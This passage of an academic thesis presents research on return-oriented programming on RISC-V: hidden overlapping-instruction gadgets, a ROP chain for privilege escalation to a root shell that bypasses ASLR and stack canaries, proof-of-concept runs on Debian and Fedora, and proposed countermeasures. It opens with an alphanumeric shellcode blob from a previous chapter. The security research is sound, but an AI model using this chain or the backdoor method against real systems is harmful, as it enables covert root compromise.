a93S/AY3M31313//aDAa3Z0A/0Ac/8AD75/AIJ3S
EA131313//aDAa3Z0A/0Ac/8AD7/h91I3Z/A//AA
AaySySySySySySySs0A4
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4.A.3 ’RV64IDC QEMU Hello World

\89\63\73\90\03\30
o’0’BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBB3B1ozDaBBZzqspbBBBBBBBBBBBBB
BBBB64cinpaBBBBBBBBBBBBBBBBBug51zDaBVIQn
4f1A1nKj52aBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBphYdop1A9RlYo3aBPtIx’51AMKqGzV1ABBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBUUUUUU1ALR5eFXcB (BBBB)ˆ{1177}
CGEDEDDDOEEDEEDDGEEEECEDGEEDEDLAKJDDDBDD
EDDNCMCDDDDDGMCLCFFDCOBGEDDEGDCHCDDDALCD
LMFHGDCHCDDDACOKEDAPFLDLDDDDDDDDLPABHBHB
KBHFDFCCKBFCHBbPEFNDDDDDBB (BBBB)ˆ{1438}
3Z0A3QGAB5b6F’F8f4J9j1N2n3yayayayaya9a9a
9a9a9a9a9a9a9a9a9a9a9a9a9aC3A2’0azC3Ab’3
azG3Hr’6azG3HB’9azAa07X3L7G3IR’4azG3Ib’7
azG3GZ’9azs0A4

4.B Source code
The full source code used for this paper is available at: https://github.com/
RischardV/riscv-alphanumeric-shellcoding.
It contains all demos and tools used for this chapter.

https://github.com/RischardV/riscv-alphanumeric-shellcoding
https://github.com/RischardV/riscv-alphanumeric-shellcoding


Chapter 5

Return-Oriented
Programming on RISC-V

Preventing the introduction of malicious code is not enough to
prevent the execution of malicious computations.

Dino Dai Zovi, [Zov10]

This chapter provides the first analysis of the feasibility of return-
oriented programming (ROP) on RISC-V. We show the existence
of a new class of gadgets, using several linear code sequences
and jumps (LCSAJs), undetected by current Galileo-based ROP
gadget searching tools.
We argue that this class of gadgets is rich enough on RISC-V
to mount complex ROP attacks, bypassing traditional mitiga-
tion like W^X, ASLR, stack canaries, G-Free, as well as some
compiler-based backward-edge CFI, by jumping over any guard
inserted by a compiler to protect indirect jump instructions.
We provide examples of such gadgets, as well as a proof-of-
concept ROP chain, using C code injection to leverage a privilege
escalation attack on two standard Linux operating systems. Ad-
ditionally, we discuss some of the required mitigations to prevent
such attacks and provide a new algorithm building the graph of
all possible execution paths in a program, including those un-
reachable from entry-point.
This work was jointly conducted with Konstantinos Markanton-
akis, Raja Naeem Akram, David Robin, Keith Mayes, and David
Naccache. It was published in AsiaCCS 2020 [Jal+20a]. Some
results published herein have been independently and simultane-
ously published by Garret Gu and Hovav Shacham in a preprint
released in July 2020 [GS20].
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5.1 Introduction
Memory corruption vulnerabilities are one of the most popular entry points
for hackers to hijack a program. Among them, stack overflow attacks have
been popular since 1996 [AO96]. It was long thought that the hacker would
always inject standalone payloads, that could be detected as malicious, us-
ing methods such as executable space protection [Mic]. This assumption was
invalidated by return-oriented programming (ROP), introduced on par with
the Galileo detection algorithm by Hovav Shacham in 2007 [Sha07], proving,
as formulated by Dino Dai Zovi in 2010, that “preventing the introduction
of malicious code is not enough to prevent the execution of malicious com-
putations” [Zov10].

Since then, many countermeasures have been developed against ROP
attacks [Che+09; DSW11; Ona+10; Pap15]. Each time, the publication of
new ROP variants, such as JOP, SROP, SOP, or even JIT-spray [Ble+11;
BB14; PG13; GH18] bypassed these stopgap mitigations. At the same time,
these attacks have been extended to many architectures, including much
simpler RISC architectures [Buc+08], confirming that these design flaws are
widespread among all architectures. State-of-the-art mitigation methods
such as gcc’s -mmitigate-rop option or G-Free [Ona+10], tend to uproot
ROP attacks by detecting and eliminating any code section that could be
reused by an attacker, in the hope that the remaining gadgets would not be
sufficient to mount complex attacks. Other even more radical methods like
control-flow integrity (CFI) try preventing arbitrary control-flow transfers
by validating the target of indirect jumps [Li+10; Aba+05; PC03], often at
the cost of performance, thus reducing their usability [Car+15; Bur+17].

Likewise, these methods do hardly more than increase the cost of ROP
attacks, as it may be sufficient to find new unexpected gadgets to return
to step one of stack overflow exploitation. In this chapter, we show once
again, how to challenge the existing security mechanisms using a new class
of gadgets that are undetected by the vast majority of published methods,
based on the well-known Galileo algorithm. We explain how to produce
such gadgets in RISC-V [WA17], a new ISA which development began in
2010. This architecture is of particular interest for backdooring attacks,
as many programs are in the process of being ported to this architecture,
leaving the insertion of backdoors easy for an ill-intentioned programmer.
Consequently, an attacker may be able to insert such gadgets in an open
source program and exploit them unnoticed.

We summarize our contributions as follows:

1. We provide the first analysis on the feasibility of ROP attacks on
RISC-V architecture.

2. We introduce a new and stealthy class of ROP gadgets, undetected by
all previously published methods based on the Galileo algorithm.
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3. We show the achievability of complex ROP attacks using this class of
gadgets on RISC-V ISA, under the assumption of malicious C source
code insertion generating such gadgets.

4. We implement a proof-of-concept backdoored SUID program allowing
privilege escalation on two standard Linux operating systems running
on RISC-V, with every available ROP mitigation mechanism enabled.

5. We present a new algorithm able to find ROP gadgets of this class and
discuss the plausibility of their presence in existing RISC-V binaries.

5.2 Background

In this section, we briefly introduce the key concepts related to this chapter’s
scope-of-work and contributions. More particularly, we describe the memory
corruption exploitation technique known as Return-Oriented Programming
and detail some RISC-V features, later used in the chapter.

5.2.1 Return-Oriented Programming

The first methods aiming at exploiting memory corruption bugs were as
simple as a straightforwardly injecting data into the program, which would
end up being executed by the processor [AO96]. Introducing executable-
space protection techniques such as W^X or DEP [Mic] made these attacks
almost impossible, as injected data could no longer be executed. In this
battle between the shield and the sword, malware developers have answered
with ROP. The first ROP attack was publicly presented in 2001 by Nergal
in Phrack [Ner01].

As shown in Fig. 5.1, it bypasses DEP by injecting a succession of call
frames into the stack. Each call frame results in executing a gadget: a small
snippet of legitimate code containing a small number of instructions ended
by a ret. When the ret instruction is reached, the address of the next
gadget is popped from the stack into the program counter. Provided that
enough different gadgets are available in the executable, arbitrary code may
be executed by chaining those gadgets.

Two categories of gadgets can be distinguished. The first one using only
legitimate code written by the programmer, also called the main execution
path (MEP). The second category uses overlapping code, called hidden ex-
ecution path (HEP), i.e. code sections that have another interpretation by
the CPU depending on its internal status (32 or 64 bits, Thumb mode, or on
the offset at which the execution has started). The latter has the advantage
of bypassing any compiler-added stack protection mechanism, presenting a
wider variety of side-effects and undetectable by traditional linear or recur-
sive disassemblers, which only handle a program’s MEP.
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The first academic paper studying this technique was published in 2007
by Shacham [Sha07], in which he presents ROP on x86 and the Galileo
algorithm, detecting gadgets in any executable memory region. It is based on
a backward disassembly method, starting from every return instruction, and
then trying to recursively bruteforce the length of the previous instruction.
This provides a tree of possible gadgets all ending with a return.

The most common attack scheme consists in scanning the executable
sections of the program with Galileo [Cam17; Kac17; Wol+16] or with other
ad hoc algorithms [Sal11] to find gadgets which are thereupon used to devise
a ROP chain performing the required computation. Intermediate languages
are sometimes used to design higher-level ROP chains that are then compiled
to the gadget language [SSS14; Wol+16]. Finally, the payload is adapted
to the injection method, with techniques like padding, NUL byte removal, or
even alphanumeric conversion, which are not within the scope of this study.

By design, the Galileo algorithm is only able to find gadgets made of a

stack frame

stack frame

stack frame

stack frame

padding

padding padding padding

local data

return address
gadget_1

return address
gadget_2

return address
gadget_3

local data
"/bin/sh"

return address
system_call

...

...
jal strcpy
...
ret

gadget_1

mv a1 ,0
mv a2 ,0
...
ret

gadget_2

mv a7 ,221
...
ret

gadget_3

mv a0 ,sp
...
ret

system_call

ecall

overflow

Figure 5.1: General principle of Return-Oriented Programming attacks. The
vulnerability shown here consists in a buffer overflow from an unchecked
strcpy allowing the user to smash the contents of the stack.
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straight-line instruction sequence, with no jumps except for the last instruc-
tion. Such a sequence is called a linear code sequence and jump (LCSAJ).
Gadgets spanning over several LCSAJs are thus undetected by Galileo, and,
to the best of our knowledge, have never been subject to study in the context
of ROP attacks.

5.2.2 RISC-V

We refer to Chapter 4 for a more detailed insight of RISC-V. In what follows,
we focus on the RV64GC ISA with psABI [Dab+16].

While most RISC ISAs require naturally aligned instructions, RV64GC
features 32-bit and 16-bit instructions, aligned on 16 bits, like in Thumb-2
extension introduced with ARMv6T2 [Armb]. Instruction length is encoded
in the least-significant byte (hence with the lowest address as RISC-V is
little-endian): 16-bit instructions require the last two bits to be different
from 0b11 whereas 32-bit instructions have their last two bits equal to 0b11
with the three previous bits different from 0b111.

Combining these two peculiarities of RV64GC opens the door to overlap-
ping instructions, that can be obtained by either using two 32-bit instruc-
tions 2 bytes apart (Fig. 5.2), or by using a 32-bit instruction whose last
2 bytes are also a valid 16-bit compressed instruction (Fig. 5.3). In what
follows, we use I1 to designate the set of 32-bit instructions allowing over-
lapping sequences, whereas the set of 32-bit instructions whose last 2 bytes
are valid 16-bit instruction and denoted by I2. Examples of overlapping for
both sets I1 and I2 are given in Fig. 5.2 and 5.3. Typically, an overlapping
sequence consists of several instructions of I1 chained together, optionally
ending with an instruction of I2.

13 4f 83 23

83 23 0b 00

00010011 01001111 10000011 00100011 00001011 00000000

xori t5,t1,568

lw t2,0(s6)

Figure 5.2: Two 32-bit overlapping instructions of I1 (little-endian repre-
sentation). Instruction length encoding for each instruction is emphasized
in blue.

5.3 Threat model and attack overview

In this section, we explicit our target platforms, aiming run-of-the-mill
RISC-V systems featuring off-the-shelf ROP mitigations. We also present
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13 0a 04 40

04 40

00010011 00001010 00000100 01000000

addi s4,s0,1024

lw s1,0(s0)

Figure 5.3: A 32-bit instruction of I2 whose last 2 bytes are also a 16-bit
valid instruction (little-endian representation)

two attack scenarios taking advantage of our new class of gadgets for im-
proved concealment.

Our target platform features a standard Linux operating system, such
as Debian or Fedora, with two levels of privilege, that we call user and
root. Standard protections are deployed, such as ASLR and DEP, that
prevent common stack overflow exploits. Programs are compiled with the
standard gcc provided by the operating system, adding gcc’s ROP mit-
igation mechanism using compiler flag -fstack-protector-strong. Note
that other mitigations specific to x86 are not available on RISC-V, like gcc’s
-mmitigate-rop option or clang’s CFI. In Section 5.7, we discuss the abil-
ity of these mitigations, if ported to RISC-V, to hamper attacks using this
new class of gadgets.

5.3.1 Closing (stealthily) the gap between vulnerability and
exploitation

The first attack scenario focuses on adding a backdoor to a program leading
to a ROP attack. Backdoors allow any person aware of their existence to
reach a privileged state upon a specific input. To create a backdoor, two
distinct elements must be stealthily inserted by an attacker: a trigger and
a payload [TF18]. In our scenario, we assume the attacker has already
managed to insert a trigger (or found an existing one), in the form of a
ROP exec vulnerability: a one-time memory write like a buffer overflow
combined with an arbitrary control-flow redirect, such as a return at the end
of the function, use-after-free, type confusion, or even corrupted instruction
through fault injection [TSW16]. Such vulnerabilities are pretty common in
programs, and are often rendered non-exploitable by reducing the number of
available gadgets and by deploying ROP mitigations, such as ASLR, stack
canaries, backward-edge CFI, or G-Free.

To lower the bar of exploitability, the attacker must embed gadgets in
the payload of his backdoor, aiming at preventing any unaware outsider from
stumbling upon those gadgets. As a stepping stone for future elaboration,
we consider generic C code injection through traditional backdooring, as we
believe that one variant of this scenario may target C++ Just-in-Time com-
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pilers (like Cling [Vas+12] or ClangJIT [FPR19], once they get ported to
RISC-V) to mount JIT-spraying attacks [GH18]. Indeed, identical assump-
tions are required for the latter: code injection and ROP exec vulnerability.

As an illustration, we consider the case where the attacker has a user
privileged level access to the system, including a shell, the ability to run
programs, or read access to binaries and libraries. The goal of the attacker
is to increase his privilege level to root, which in practice thoroughly com-
promises the system by granting a read-write access to the whole target.
Such an attack is called a privilege escalation attack, and is at the core of
highly publicized attacks such as iOS jailbreaking [Ess11]. To this end, the
attacker will use a program that can be executed by the user, but runs at
a root privilege level. Those programs are called setuid programs, and are
abundant on any system. Indeed, actions as simple as changing a password,
plugging a USB key or granting root privilege for an authorized user require
the execution of setuid programs.

To backdoor such programs, the attacker may upstream underhanded C
code in an open-source project. Details on how to achieve this have been
provided by Gilbertson [Gil18] and thoroughly studied by Prati [Pra12], with
some examples provided in the Underhanded C Contest1 and DEF CON’s
Hiding backdoor in plain sight contest. Here, the payload consists in a set of
ROP gadgets that span over several LCSAJs. Furthermore, these gadgets
use overlapping techniques, so that only the last LCSAJ is in the MEP,
whereas all the previous ones are in the HEP, thus hiding the gadgets to
currently available ROP gadget searchers. To trigger the exploit and gain
root access, the attacker only has to execute the setuid program with the
adequate user input.

5.3.2 Creating a (concealed) persistent backdoor on a com-
promised system

The second attack scenario leverages privilege escalation through setuid to
build a persistent backdoor in a compromised target. Persistence is con-
sidered as a key step in a complex attack chain to maintain access into
compromised systems upon slight environment changes (reboot, updates,
password change). This attack is much easier to implement than inserting
backdoors in highly scrutinized setuid programs, as it requires the attacker
to only obtain a one-time root access, and grant setuid permission to a pro-
gram for which he has knowledge of the existence of a privilege escalation
exploit. Such backdoors are quite common,2 as they involve modifying the
permissions of only one file, which is not monitored by default on popular
intrusion detection systems such as rkhunter, chkrootkit, or samhain.

1http://www.underhanded-c.org/
2https://attack.mitre.org/techniques/T1166/

http://www.underhanded-c.org/
https://attack.mitre.org/techniques/T1166/
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For better chances of success, this can be combined with the first attack
scenario, by inserting hidden gadgets in a non setuid open-source program,
which is much easier to achieve. This backdoored program embeds the hid-
den gadgets and a ROP exec vulnerability and will be legitimately deployed
on the target. Should a security analyst audit the program before the attack,
he will wrongly conclude that the vulnerability is not exploitable, hence not
requires an urgent patch.

Once the attack is discovered, even if a forensics analyst comes across
the program with setuid permission, without the knowledge of the ROP-
chain, he will waste precious time and effort trying in vain to identify the
mechanism allowing privilege escalation.

Function15cMEP HEP

save sequenceaddi sp ,sp ,-16
sd ra ,8(sp)

dummy calljal ra ,dummy

overlapping code
lui a0 ,0 x9932
lui a3 ,0 x23371
lui a2 ,0 xa0212

addi s3 ,a4 ,363
lui t1 ,0 x26372
jmp 0x8

instructionsmv a1 ,zero
jal ra ,dummy4

restore sequence
ld ra ,8(sp)
mv a0 ,zero
addi sp ,sp ,16
ret

Figure 5.4: Segmentation of the different code sequences present in
function15c. The gadget, made of two LCSAJs, the first being in the
HEP and the second in the MEP, is highlighted in gray.

5.4 Inserting Hidden Gadgets
For the sake of realism, we intend to use code created by a standard C com-
piler like gcc. We create exactly one function per gadget (named function1,
...), each ending with a C return instruction. For each function, the com-
piler may add assembly code at the beginning and the end of the function
whose purpose is to respectively insert (save sequence) and remove (restore
sequence) the call frame from the stack, depending on whether a callee-saved
register is modified by the function. Inserting a nested call in the function
is an easy way to be sure that the compiler will emit these save and restore
sequences.

Indeed, the presence of a restore sequence is crucial for mounting a ROP
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attack, as we need to tamper with the return address register ra, which
is callee-saved. Inserting malicious call frames into the stack hence grants
control over the program counter through ra. In practice, a vast majority of
functions do call other functions, either in the program, or in any library. In
our proof-of-concept attack, we purposely added a call to a dummy function
in every gadget function. Other ROP variants using alternative control-flow
instructions such as indirect jumps or exceptions are beyond the scope of
this study.

The malicious gadget is made of two LCSAJs, the first being hidden
with code overlapping and the last being the legitimate restore sequence. A
detailed example for one of the gadgets is provided in Fig. 5.4. The C code
(using gcc -Os -fstack-protector-strong) used to generate it is:

long long function15c ()
{

dummy ();
dummy4 (( signed) 0x9932000 ,

0,
(signed) 0xa0212000 ,
(signed) 0x23371000);

return 0;
}

The hidden instructions are directly written in C code, and feature one
or two instructions followed by a jump to a relative offset. In Fig. 5.4, the
MEP consists of two 32-bit I1 instructions followed by one I2 instruction,
whereas the HEP comprises two 32-bit I1 instructions followed by one 16-
bit jump instruction. Here, the jump is only 8 bytes off its target, but it
is definitely possible to modify this value to hide the overlapping LCSAJ
anywhere, even in other functions. In this gadget, magic constants are
loaded into the arguments of a function.

The other gadgets use a mix of arithmetical and floating-point opera-
tions, as well as load and store instructions. For a consistent output among
different compiler versions and environments, we forced register allocation
(using the register keyword), and prevented instruction reordering in the
overlapping sequence.

Magic constants as arguments of the function cannot be prevented, as
the opcode of a HEP instruction lies in the operand of the MEP instruction.
However, many source code obfuscation techniques may come to help here,
such as C-preprocessor [Med+15] or lightweight constant blinding, hiding
the magic constants respectively until the preprocessing and constant folding
passes of the compiler.
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8 slti t2,t2 ,225
24 slti t2 ,t2 ,225 //t2:=1
40 slti t2 ,t2 ,225 //NOP
48 .plt_address +1823
56 slti a1 ,t2 ,-1999 //a1:=0
72 mul a4 ,t2 ,sp //a4:= .base +80
88 slti t2 ,t2 ,-1999 //t2:=0
104 slti a2 ,t2 , -1999 //a2:=0
120 addi a4 ,a4 , -1278
136 addi a4 ,a4 ,1275 //a4:= .base +77
152 addi t2 ,t2 ,-31 //t2:=-31
168 ld s6 ,-29(a4) //s6:=.plt +1823
184 ld s6 , -1823(s6) //s6:= .__libc_start_main@libc
200 addi t1 ,s6 , -1823
208 .ecall1_offset +1823
216 addi s11 ,t1 ,s2 //s11:= .setuid@libc :34
232 sd s11 ,315(a4) // .base +392<-s11
248 addi s3 ,a4 ,363 //s3:= .base +440
264 sd s3 ,307(a4) // .base +384<-.base +440
280 sd s3 ,363(a4) // .base +440<-.base +440
296 addi t1 ,s6 , -1823
304 .ecall2_offset +1823
312 addi s11 ,t1 ,s2 //s11:= .setuid@libc :38
328 sd s11 ,411(a4) // .base +488<-s11
344 addi t2 ,t2 ,-31 //t2:=-62
360 addi t2 ,t2 ,-31 //t2:=-93
376 sltiu a0 ,t2 ,2017 //a0:=0
384 0 // .base +440
392 0 // ecall1 at .setuid@libc :34
440 0 // stack canary
456 addi a7 ,t2 ,314 //a7 :=221
472 addi a0 ,a4 ,67 //a0:= .base +507
488 0 // ecall2 at .setuid@libc :38
507 "/bin/sh"

Figure 5.5: High-level description of the ROP chain. The first column de-
scribes the offset in bytes relative to the beginning of the ROP chain. The
notation with a leading dot .xxx@yyy:off designates the address of xxx
in yyy at offset off. The notation <- designates a memory store, and
:= an assignment. The .ecall1_offset +1823 indicates the location
where we put the offset of the ecall instruction in the setuid function
of the C library relative to the __libc_start_main function. Similarly,
the .plt_address +1823 indicates the location where the PLT address
should be inserted.
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5.5 Chaining the Gadgets

In the previous section, we described our method to build one gadget hid-
ing I1 instructions. In our full privilege escalation attack, we need to
chain several such gadgets together. We will aim at spawning a root shell,
by invoking two system calls, the first being setuid(0) and the second
execve("/bin/sh",0,0).

In RISC-V, each syscall requires executing a special instruction named
ecall , with register a7 set to a value encoding the call.3 For each call, one
or several arguments may be passed, in registers a0, a1, a2, ... The setuid
syscall requires a7 to be set to 146, and a0 to the desired userid, in our
case zero. The execve syscall requires register a7 to be set to 221 (0xdd),
a1 and a2 to zero, and a0 to point to the address of the string /bin/sh.
The next paragraphs explain how to achieve this result by using only I1
instructions. We summarize the high-level overview of the ROP chain in
an assembly-like pseudocode in Fig. 5.5. The link to the full source code is
available in Appendix 5.A.

Let us start by zeroing (resetting) a register. For this purpose, we use
the slti instruction (store less than immediate), that compares its source
register to a constant, and if lower resets the destination register, else sets
it to 1. By performing two slti instructions with a negative immediate
and with same source and destination register, we are guaranteed to reset
the register. In Fig. 5.5, this happens at offset 88. We can then reset other
registers by just performing an slti with a zeroed source register and a
negative immediate (offset 104).

Executing an ecall is trickier, as ecall does not belong to I1,2. Hence,
we must find an existing ecall and insert its location into the stack, so
that the program counter points to it after executing the last gadget. If the
program is statically compiled, this does not raise any issue. However, in
most operating systems, the program is compiled dynamically, which results
in every ecall instructions to be located in the libraries. To find the its
address, we must outsmart the address space layout randomization (ASLR),
which loads the linked libraries at random addresses. Randomized libraries
are then linked to the program through the procedure linkage table (PLT), in
which the dynamic loader (ld.so) stores the randomized addresses of each
external function called by the program. The PLT itself is always stored in
the same memory area, thus statically known (offset 48). Programs compiled
as position independent executable with -fPIE require an information leak
to locate the PLT. By reading into the PLT, we compute the address of our
ecall instruction and write it into the stack, so that the last gadget before
the ecall will pop its address and jump to it, triggering the syscall.

If a program uses the standard C library, then an initialization function

3https://www.lurklurk.org/syscalls.html

https://www.lurklurk.org/syscalls.html
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called __libc_start_main is systematically included in the PLT. In version
2.27 of the library, there is an ecall at offset 220, making a perfect can-
didate for the execve syscall. However, this instruction is not satisfactory
enough for our setuid syscall, as we need to continue executing our ROP
chain after invoking the syscall. Here, the candidate is part of an infinite
loop.

One may think that jumping at the beginning of the setuid@libc func-
tion of the C standard library may be a good idea. This is definitely not
the case, as the function inserts its own call frame into the stack, based on
the value of ra at its entry. Since we already use ra to hijack the con-
trol flow with ret instructions, the function would return at its beginning,
causing an infinite loop. Jump and link instructions that could modify ra
are inadequate as well, inasmuch as they can be detected by Galileo.

Our solution involves jumping directly into the middle of the
setuid@libc function, making use of the instruction that sets register a7
to 146 immediately followed by the ecall . As a downside, we now must
bypass gcc’s Stack-Smashing Protector (SSP), that enforces backward-edge
CFI, obliging the function to return to its caller. Concretely, it checks
whether the call frames have been tampered with by generating a random
number, the canary, at the beginning of the function, and storing it in two
different locations. During the restore sequence, the two values are com-
pared, and, if different, the program aborts.

Howbeit, the other location at which the canary is stored is pointed to
by s0, which happens to be a callee-saved register, also used by gcc as a
frame pointer. Hence it may be possible to obtain a gadget whose restore
sequence pops s0 from the stack, which allows hijacking the canary. We do
so by writing at offset 384, which smashes the value of s0, thence pointing
both copies of the canary to the same memory area. In this way, the canary
test will always pass, as both pointers are now aliased. Finally, the gadget
at offset 232 inserts into the stack the address of the ecall in setuid@libc
using the location of __libc_start_main obtained through the PLT.

The execve syscall is easier to prepare. We reset a2, and straightfor-
wardly set a7 to 221. The gadget at offset 328 inserts into the stack the
address of the ecall candidate, also in setuid@libc. Note that we do
not need to bypass SSP this time, as the execve syscall will spawn a new
process. Finally, we take advantage of the previously leaked stack pointer
(at offset 72) to set a0 to the address of the string /bin/sh, located after
the last call frame of our ROP chain.
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5.6 Attack Proof-of-Concept on Different Plat-
forms

In this section, we experiment our attack on two Linux operating systems,
Debian and Fedora, running as a chroot environment on a HiFive Unleashed
development board, featuring a quad-core Freedom U540 RV64GC processor.

5.6.1 Debian chroot on HiFive Unleashed

We first try our attack on the HiFive Unleashed board with a reduced Linux
buildroot system shipped with the board. We add a Debian chroot, al-
lowing the access of Debian features within the minimal operating system.
Additionally, we create an unprivileged user, setting the stage for our at-
tack. Given that there is no gcc available on Debian RISC-V, we stat-
ically cross-compile the binary from another host computer. Static com-
pilation greatly simplifies our attack, as all the libraries are now included
within the program, rendering ASLR ineffective. Nevertheless, we still use
-fstack-protector-strong, to harden the program against ROP attacks.

Compared to the previous scenario, we no longer need to access the
PLT. Instead we need to find an ecall in the program itself. For this
purpose, the function __internal_atexit is a perfect candidate. Indeed
it is always included in binaries using the standard C library, and remark-
ably, falls through the cracks of SSP. We write new gadgets in handwritten
assembly this time, and adapt the ROP chain.

The test program embeds the gadgets, whose construction is detailed
in Section 5.4, and the ROP chain with some simplifications compared to
Section 5.5. Finally, a function with a ROP exec vulnerability is added to
the program, whose sole purpose is to grant the attacker the possibility to
smash the stack, launching the attack upon return. We use an assembly in-
struction that straightforwardly replaces the stack by the ROP chain, which
produces similar results as a buffer overflow vulnerability that arises from a
scanf("%s",buffer).

After setting the SUID permission using chmod u+s to the binary, the
user logs in and executes the target program, successfully spawning a root
shell.

5.6.2 Fedora

We then moved to a Fedora 28 stage 4 disk image, another Linux based OS
with many more features. It has a package manager with a gcc version 7.3.1
able to dynamically compile programs directly on the board with a standard
C library in version 2.27.4 Our attack was successfully tested both on the
RISC-V Fedora powered by a QEMU virtual machine [Bel05] and a Fedora

4https://fedorapeople.org/groups/risc-v/disk-images/

https://fedorapeople.org/groups/risc-v/disk-images/
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Figure 5.6: The attack setup with the Hifive Unleashed board featuring a
Fedora chroot. A serial connection on the micro-usb port allows a user-
level access to the board. An SUID executable in the user’s home directory
allows a successful privilege escalation attack, upon injecting the ROP chain
(cropped).

chroot for Linux buildroot running on the HiFive Unleashed board, shown
in Fig. 5.6.

As we expected, we did not note any differences between both tests,
as QEMU emulates a HiFive Unleashed RV64GC board, without micro-
architectural features like caches or timings. Moreover, in both cases, ASLR
is set to the conservative randomization mode, which randomizes the stack,
VDSO page, and shared memory region position. The binary itself is not
randomized, creating the opportunity of code-reuse attacks. The data seg-
ment base is located immediately after the end of the executable code seg-
ment. We successfully bypass ASLR and SSP, using the method presented
in Section 5.5.

Likewise, our test program embeds the malicious gadgets written in C,
the ROP chain and the ROP exec vulnerability. The program is compiled by
root using the standard gcc with options -Os -fstack-protector-strong,
and given SUID permission using chmod u+s. The user then logs in and
executes the program, again successfully escalating privilege.
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5.7 Proposed Countermeasures

In this section, we review different methods that can be implemented to
reduce the threat posed by the new gadgets described previously, from the
simplest to the most complex solutions. We also provide a new algorithm
for finding gadgets in RISC-V, to improve and replace the Galileo algorithm
in ROP gadget finders.

Although we bypassed gcc’s SSP, we believe that stack canaries may still
be useful, as they prevent stack smashing and partial function execution,
respectively reducing the number of ROP exec vulnerabilities and MEP
gadgets, thus raising the cost for ROP attacks. In our attack scenario, even
if SSP is deployed everywhere (using option -fstack-protector-all), our
gadget can still jump over any canary check directly on the restore sequence,
rendering them ineffective. We therefore recommend checking the canary
immediately before the return rather than at the beginning of the restore
sequence, as done by various CFI implementations.

In gcc, stack canaries are deployed using three different compilation
flags: -fstack-protector-all that adds stack canaries to every function
(but not to glue-code), -fstack-protector for only the most vulnerable
functions (calling alloca, or containing a buffer whose size is larger than
8 bytes), and -fstack-protector-strong, introduced in 2012 that strikes
a balance. Since Fedora 20, all packages are compiled with the last option.
Thus, compiling all SUID programs with option -fstack-protector-all,
as on FreeBSD, can prove to be a good mitigation, as it widens the gap
between vulnerability and exploit by reducing the number of available gad-
gets. Thence, an attacker would need to embed more hidden gadgets in his
payload, increasing the probability of being detected.

If we consider compiler-based backward-edge CFI variants like LLVM-
CFI,5 MCFI or Picon [Bur+17; NT14; FCC15], the restore sequence may
be hardened in a way that may not allow reusing any part of it, e.g. by
putting the target validation guard between the return and the assignment
to ra from the stack. This leaves us with only the last return instruction
that can be jumped to from the HEP. Although we hypothesize that it may
be possible to assign any value to ra directly from the HEP, it is actually
much easier to fall back on the restore sequence of another function that
is not protected by compiler-based CFI, like glue-code. For the C stan-
dard library, the __libc_csu_init function of crt1.o inserted by gcc and
clang is a perfect candidate, as it contains an unprotected restore sequence,
even when compiled with SSP (-fstack-protector-all) and LLVM-CFI
(-fsanitize=cfi on clang).

OpenBSD has its own SSP version called RetGuard [Mor18], running
on par with gadget reduction techniques, with the same shortcomings as

5https://clang.llvm.org/docs/ControlFlowIntegrityDesign.html

https://clang.llvm.org/docs/ControlFlowIntegrityDesign.html
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gcc’s SSP. More generally, gadget reduction techniques like G-Free [Obs03]
or code randomization [PPK12] intend to eliminate any unaligned indirect
jump, relying on canaries or backward-edge CFI to prevent malicious use of
aligned branches, which is effective only against gadgets having one LCSAJ.
The new gadgets presented previously fall out of reach of these mitigations.

To include this new class of gadgets in existing mitigations, we would
have to combine them with a static analysis pass verifying that every main
and hidden execution path ending with an indirect jump goes through the
canary check (SSP) or reaches target validation (backward-edge CFI). For
this purpose, we provide Algorithm 5.1 finding each and every execution
path in a program. Its source code is available in Appendix 5.A. It ten-
tatively disassembles one instruction at every program byte, and checks
whether it yields a valid instruction. It then inserts these valid instructions
into a graph, whose nodes are defined by their addresses and the outgoing
edges by the values that the program counter might take after the execution
of the instruction. For example, conditional jumps may have two outgoing
edges, while data processing instructions may only have one outgoing edge
to the immediately following instruction in the program.

Indirect jumps (like ret) do not have outgoing edges as the value of the
program counter may not be known statically. We mark such instructions
as Points of Interest (or PoIs, term coined in [Wol+16]), to only keep the
instructions that can reach one of those PoIs. Indeed, instruction sequences
may only either reach a PoI, loop indefinitely or trigger an invalid instruc-
tion causing the program to crash. This can equivalently be rephrased as
only keeping the subgraph coreachable from PoIs. Additional work can be
performed on this graph, like merging chains of nodes, yielding a control-
flow graph (CFG) showing both the MEP and HEP. We show in Fig. 5.7 an
example of this CFG.

We used this algorithm to find such gadgets in the C standard library.
Out of the 1957 unaligned sequences ending with a fixed jump offset, only
one can realistically be used as a gadget in a traditional ROP attack. The
scarcity of such gadgets on RISC-V architecture confirms our need for magic
constants when encoding the gadgets in Section 5.4. Indeed the opcode of
an HEP instruction lies in the operand of the MEP instruction.

Some more radical solutions consist in trying to prevent overlapping code
in RISC-V, either by deleting the compressed instruction C extension, or by
requiring 32-bit instructions to be naturally aligned, or by changing the ISA
so that the length of the instruction is encoded in first bit of every half-word.
Though, we may lose one bit per half-word, hampering with the range of
opcodes, i.e. less immediates, or less registers. However, we believe this
solution is unrealistic, as it requires extensive changes to the instruction set.
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Input: B0, ...Bn, a binary program
Result: G, a directed graph of all execution paths
G

def= (V,E);
End

def= ∅;
for pc def= 0 to n do

I := Disasm_one_inst(Bpc, ...);
if I is not a valid instruction then

continue
end
V .insert(pc);
foreach pc′ in I.get_next_pc() do

E.insert(pc, pc′)
end
if I is an indirect jump then

End.insert(pc)
end

end
G′

def= coreachable(G, End) ;
return G′;
Algorithm 5.1: Disassembly algorithm finding all execution paths
in a binary.

5.8 Related Work

Andriesse et al. [AB14a] have shown a method to hide malicious code using
overlapping instructions in x86. It splits the code into smaller fragments
and bruteforces a prefix and a suffix, for which the code fragment becomes a
valid x86 MEP. This bruteforce method relies on the high density of the x86
instruction set, although it still sometimes requires manual intervention to
conceal the fragments. The resulting hidden fragments are only one LCSAJ
long, and always end by an indirect jump, hence easily caught by any ROP
gadget searcher. Our approach allows better stealth by splitting the hidden
code over several LCSAJs, for which the bruteforce method may no longer
work. We also apply our method to a RISC architecture, which does not
benefit from the same code density.

ROP attacks have been subject to many academic studies since their
first publication in 2007 [Sha07] introducing the Galileo algorithm. Many
variants based on the same algorithm have been published, like gadgets end-
ing with indirect jumps [Ble+11], gadgets popping signal-contexts from the
stack instead of call-frames [BB14], or attacks using format string vulner-
abilities [PG13]. Amongst popular ROP gadget searchers, only two have
added support for RISC-V - xrop and radare2 [Cam17; Alv08], both of
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addi s3,a4,363
